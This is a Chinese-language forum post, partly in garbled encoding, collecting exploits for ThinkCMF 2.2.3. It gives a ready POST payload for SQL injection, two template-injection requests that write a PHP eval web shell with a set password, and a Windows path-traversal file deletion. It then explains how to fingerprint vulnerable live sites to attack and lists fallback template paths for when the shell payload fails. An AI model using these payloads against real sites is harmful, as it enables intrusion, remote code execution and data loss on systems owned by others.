thinkcmf漏洞集合
在先知逛的時候看到的的,后面發(fā)現(xiàn)是thinkcmf 翻了一下自己的漏洞庫對比了一下版本發(fā)現(xiàn),泡泡大佬這里看的是1.6版本的,而官方最后的版本 2.2.3 所以做一下漏洞補充。
注:thinkcmf 并沒有死,他擁有兩個版本一個是 thinkcmf5 一個是 thnkcmf2.2.3 但是這兩個版本都有漏洞,因為現(xiàn)在thinkcmf2.2.3使用的人越來越少了,所以爆出來,至于5嘛,=-=不好意思,我還有用,所以不能發(fā),請見諒
0x01 前臺用戶文章編輯提交存在注入
0x01.1 漏洞演示
前臺的文章編輯中操作框架注入,所以可以直接sql注入
url:http://thinkcmf.test/index.php?g=Portal&m=Article&a=edit_post
post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
post[id][1]:0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
t01.png (323.43 KB, 下載次數(shù): 58)
下載附件
保存到相冊
2019-5-20 15:50 上傳
0x01.2 漏洞原理文件:ThinkCMFX_2.2.3\application\Portal\Controller\ArticleController.class.php
方法:public function edit_post(
t02.png (640.51 KB, 下載次數(shù): 63)
下載附件
保存到相冊
2019-5-20 15:51 上傳
這里不多講,因為沒得意義。詳情請看先知的歷史tp漏洞,謝謝:)
0x02 前臺模版注入漏洞-可getshell兩處
0x02.1 Comment類模版引擎注入演示
url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
發(fā)送之后頁面http狀態(tài)會為200,這樣就表示成功了
簡單講解一下:content 我輸入了php代碼所以他會在本地跟路徑創(chuàng)建一個一句話木馬test.php
所以實戰(zhàn)過程中。
連接馬子:http://xxxxx.com/test.php 密碼:11
即可getshell
t03.png (312.11 KB, 下載次數(shù): 58)
下載附件
保存到相冊
2019-5-20 15:52 上傳
t04.png (405.94 KB, 下載次數(shù): 69)
下載附件
保存到相冊
2019-5-20 15:52 上傳
0x02.2 Api類模版注入1
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
同上一樣,會在跟目錄生成 馬子 test1.php
0x02.3 漏洞原理
路徑:ThinkCMFX\application\Comment\Controller\WidgetController.class.php
路徑:ThinkCMFX\application\Api\Controller\PluginController.class.php
兩處的漏洞原理都是一樣的,所以我就選一處進行講解了
路徑:application\Comment\Controller\WidgetController.class.php
方法:public function fetch(
t05.png (93.76 KB, 下載次數(shù): 70)
下載附件
保存到相冊
2019-5-20 15:53 上傳
從名字查看我們會發(fā)現(xiàn)他的3個參數(shù) $templateFile=模版地址
$content=內(nèi)容
$prefix=前綴 $templateFile就是我們要包含的文件了,我們必須包含一個不然,代碼會報錯,導(dǎo)致無法寫shell
$content 我們寫馬子的地方
$prefix 忽略他即可,沒有用的 在代碼中我們看到一個 $templateFile 給parseTemplate函數(shù)包含了,這里我們也不用管他,因為他的作用就是判斷一下文件是否存在而已,所以我們在實戰(zhàn)的時候,可以找到一處html文件包含即可 而tp的模版引擎 使用的是 smarty 而smarty中只要可控制內(nèi)容的key 與 value 即可寫入shell命令,所以同理可得,tp的 $content 我們可控 = 有模版注入 0x03 任意文件刪除-只能windows刪除0x03.1 漏洞演示
t06.png (305.07 KB, 下載次數(shù): 65)
下載附件
保存到相冊
2019-5-20 15:53 上傳
post:
mgurl=..........\1.txt
t07.png (292.88 KB, 下載次數(shù): 64)
下載附件
保存到相冊
2019-5-20 15:53 上傳
0x03.2 漏洞原理 路徑:ThinkCMFX\application\User\Controller\ProfileController.class.php 方法:blic function do_avatar(
t08.png (283.26 KB, 下載次數(shù): 65)
下載附件
保存到相冊
2019-5-20 15:54 上傳
從文件可以看到 $imgurl=str_replace(‘/‘,’’,$imgurl); 過濾了 / 但是沒有過濾 所以我們無法引入 / 并且在更新頭像以后還會從前端接收參數(shù) imgurl 帶入函數(shù)sp_delete_avatar 跟進去 路徑:ThinkCMFX\application\Common\Common\function.php
方法:function sp_delete_avatar(
t09.png (175.64 KB, 下載次數(shù): 64)
下載附件
保存到相冊
2019-5-20 15:54 上傳
0x04 使用說明前面說了,thinkcmf 并沒有死,并且有3版本與5版本這里提供一些方法,幫助你們辨別哪一些是可以日的,那一些事不行的。 1,看logo 3的logo是黃色的例如下圖
t10.png (169.11 KB, 下載次數(shù): 56)
下載附件
保存到相冊
2019-5-20 15:54 上傳
2,在網(wǎng)站url 后面輸入 admin
t11.png (268.36 KB, 下載次數(shù): 57)
下載附件
保存到相冊
2019-5-20 15:54 上傳
如果頁面是藍色的表示是3的,可日穿之
3,查看 README.md
在網(wǎng)站url后面輸入README.md
t12.png (293.54 KB, 下載次數(shù): 51)
下載附件
保存到相冊
2019-5-20 15:55 上傳
另外還有一個說明,你在實際操作的過程中,可能會遇到他一直報這個錯
post: templateFile=/../public/index prefix='' content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
t13.png (237.1 KB, 下載次數(shù): 56)
下載附件
保存到相冊
2019-5-20 15:55 上傳
請放心這并不是說明漏洞不可使用,而是說,這個模版不存在,你可以換一個html即可
例如:
/../public/index /../public/exception /../data/index /../data/runtime/index /../plugins/Mobileverify/View/admin_index /../plugins/Mobileverify/View/index /../plugins/Mobileverify/View/widget /../plugins/Demo/View/admin_index /../plugins/Demo/View/index /../plugins/Demo/View/widget /../application/Install/View/Public/footer /../application/Install/View/Public/head /../application/Install/View/Public/header /../application/Common/index /../application/Portal/Lang/en-us/index /../application/Api/Lang/en-us/index /../application/Api/Lang/zh-cn/index /../application/Comment/Lang/en-us/index /../application/Comment/Lang/zh-cn/index post: templateFile=/../../../public/index prefix='' content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php> /../../../public/index /../../../public/exception /../../../data/index /../../../data/runtime/index /../../../plugins/Mobileverify/View/admin_index /../../../plugins/Mobileverify/View/index /../../../plugins/Mobileverify/View/widget /../../../plugins/Demo/View/admin_index /../../../plugins/Demo/View/index /../../../plugins/Demo/View/widget /../../../application/Install/View/Public/footer /../../../application/Install/View/Public/head /../../../application/Install/View/Public/header /../../../application/Common/index /../../../application/Portal/Lang/en-us/index /../../../application/Api/Lang/en-us/index /../../../application/Api/Lang/zh-cn/index /../../../application/Comment/Lang/en-us/index /../../../application/Comment/Lang/zh-cn/index 還有最后一句廢話:模版注入對于linux 并不好用 : )
差不多了,剩下的自己去thinkcmf里面自己找
|